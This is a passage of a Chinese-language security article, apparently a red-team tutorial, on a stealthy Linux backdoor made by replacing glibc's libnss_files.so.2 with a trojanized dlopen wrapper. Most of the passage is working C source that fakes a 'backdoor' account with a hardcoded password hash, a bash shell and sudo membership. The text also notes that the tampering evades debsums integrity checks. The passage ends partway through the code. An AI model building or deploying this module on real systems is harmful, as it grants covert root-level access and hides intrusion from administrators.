leaf="">libnss_nop.so.2</span></code><span leaf="">，文件完整性检查可发现</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">密码哈希硬编码</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">shadow 模块中的密码哈希是固定的，更换密码需要重新编译</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">debsums</span></code><p><span leaf=""> 无法检测</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">nsswitch.conf</span></code><p><span leaf=""> 不属于任何包，新增的 </span><code><span leaf="">.so</span></code><span leaf=""> 也不属于任何包，</span><code><span leaf="">debsums -a -c</span></code><span leaf=""> 完全无感（详见 4.4 节）</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下一章将介绍如何通过替换合法 NSS 模块来解决&#34;需要修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf="">&#34;这个最大的局限。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x05 替换合法 NSS 模块后门</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">0x04 中添加恶意数据源的方式虽然有效，但有一个致命的弱点：</span><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 被修改了</span></strong><span leaf="">。一个有经验的管理员只需执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat /etc/nsswitch.conf</span></code><span leaf=""> 就能发现异常的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 数据源。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本章介绍一种更隐蔽的方式：</span><strong style="font-weight: bold;color: black;"><span leaf="">直接替换系统已有的 NSS 共享库</span></strong><span leaf="">。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 保持原样，后门逻辑隐藏在合法模块的外壳之下。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">实现方式说明</span></strong><span leaf="">：替换合法模块有两种思路：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">直接修改 glibc 源码编译</span></strong><span leaf="">：在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-pwd.c</span></code><span leaf=""> 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP</span></code><span leaf=""> 匹配逻辑中注入后门判断，自行编译出 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf="">。不需要额外文件，隐蔽性最高，但需要在目标系统上编译 glibc，且编译产物必须与目标 glibc 版本严格兼容。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 包装方式</span></strong><span leaf="">：编写新模块，内部通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 加载重命名后的原始模块，在转发调用的同时注入后门逻辑。兼容性好、可移植性强，但会多一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.orig</span></code><span leaf=""> 文件。</span></p></li></ol><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">考虑到兼容性和可移植性，本文实验采用第 2 种方式。</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">5.1 第一次尝试：替换 libnss_files.so.2（失败）</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">直觉上，最直接的目标是替换 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf="">——毕竟它是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd: files systemd</span></code><span leaf=""> 的第一个数据源。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">木马化模块的核心思路是</span><strong style="font-weight: bold;color: black;"><span leaf="">包装（wrapper）</span></strong><span leaf="">：对外暴露与原始模块完全相同的函数接口，内部将调用转发给重命名后的原始模块，只在必要时注入后门数据。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwnam_r</span></code><span leaf=""> 为例，包装逻辑如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">应用程序调用 getpwnam(&#34;alice&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ NSS: passwd: files systemd</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r(&#34;alice&#34;)</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 木马化模块内部：</span><span leaf=""><br/></span><span leaf="">            │   1. 检查 &#34;alice&#34; == &#34;backdoor&#34;？→ 否</span><span leaf=""><br/></span><span leaf="">            │   2. 调用原始模块 _nss_files_getpwnam_r(&#34;alice&#34;)</span><span leaf=""><br/></span><span leaf="">            │   3. 返回原始结果（正常用户，完全透明）</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 返回 NSS_STATUS_SUCCESS（alice 的真实信息）</span><span leaf=""><br/></span><span leaf="">应用程序调用 getpwnam(&#34;backdoor&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ NSS: passwd: files systemd</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r(&#34;backdoor&#34;)</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 木马化模块内部：</span><span leaf=""><br/></span><span leaf="">            │   1. 检查 &#34;backdoor&#34; == &#34;backdoor&#34;？→ 是</span><span leaf=""><br/></span><span leaf="">            │   2. 填充伪造的 passwd 结构体（UID=1002, GID=sudo）</span><span leaf=""><br/></span><span leaf="">            │   3. 返回伪造结果（跳过原始模块调用）</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 返回 NSS_STATUS_SUCCESS（backdoor 的伪造信息）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">完整代码如下（覆盖 passwd、group、shadow）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> _GNU_SOURCE</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;grp.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;dlfcn.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_UID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> SUDO_GID       27</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> ORIG_SO </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""> *orig_handle = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ensure_loaded</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);</span><span leaf=""><br/></span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">fill_backdoor_passwd</span></span><span style="line-height: 26px;"><span leaf="">(struct passwd *result, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = BACKDOOR_UID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/home/backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_files_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                       struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_files_getpwnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_files_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                       struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (uid == BACKDOOR_UID)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_files_getpwuid_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(uid, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_files_initgroups_dyn (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> group,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *start, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *size,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **groups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> limit,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_files_initgroups_dyn&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status = NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (orig)</span><span leaf=""><br/></span><span leaf="">        status = orig(user, group, start, size, groups, limit, errnop);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span 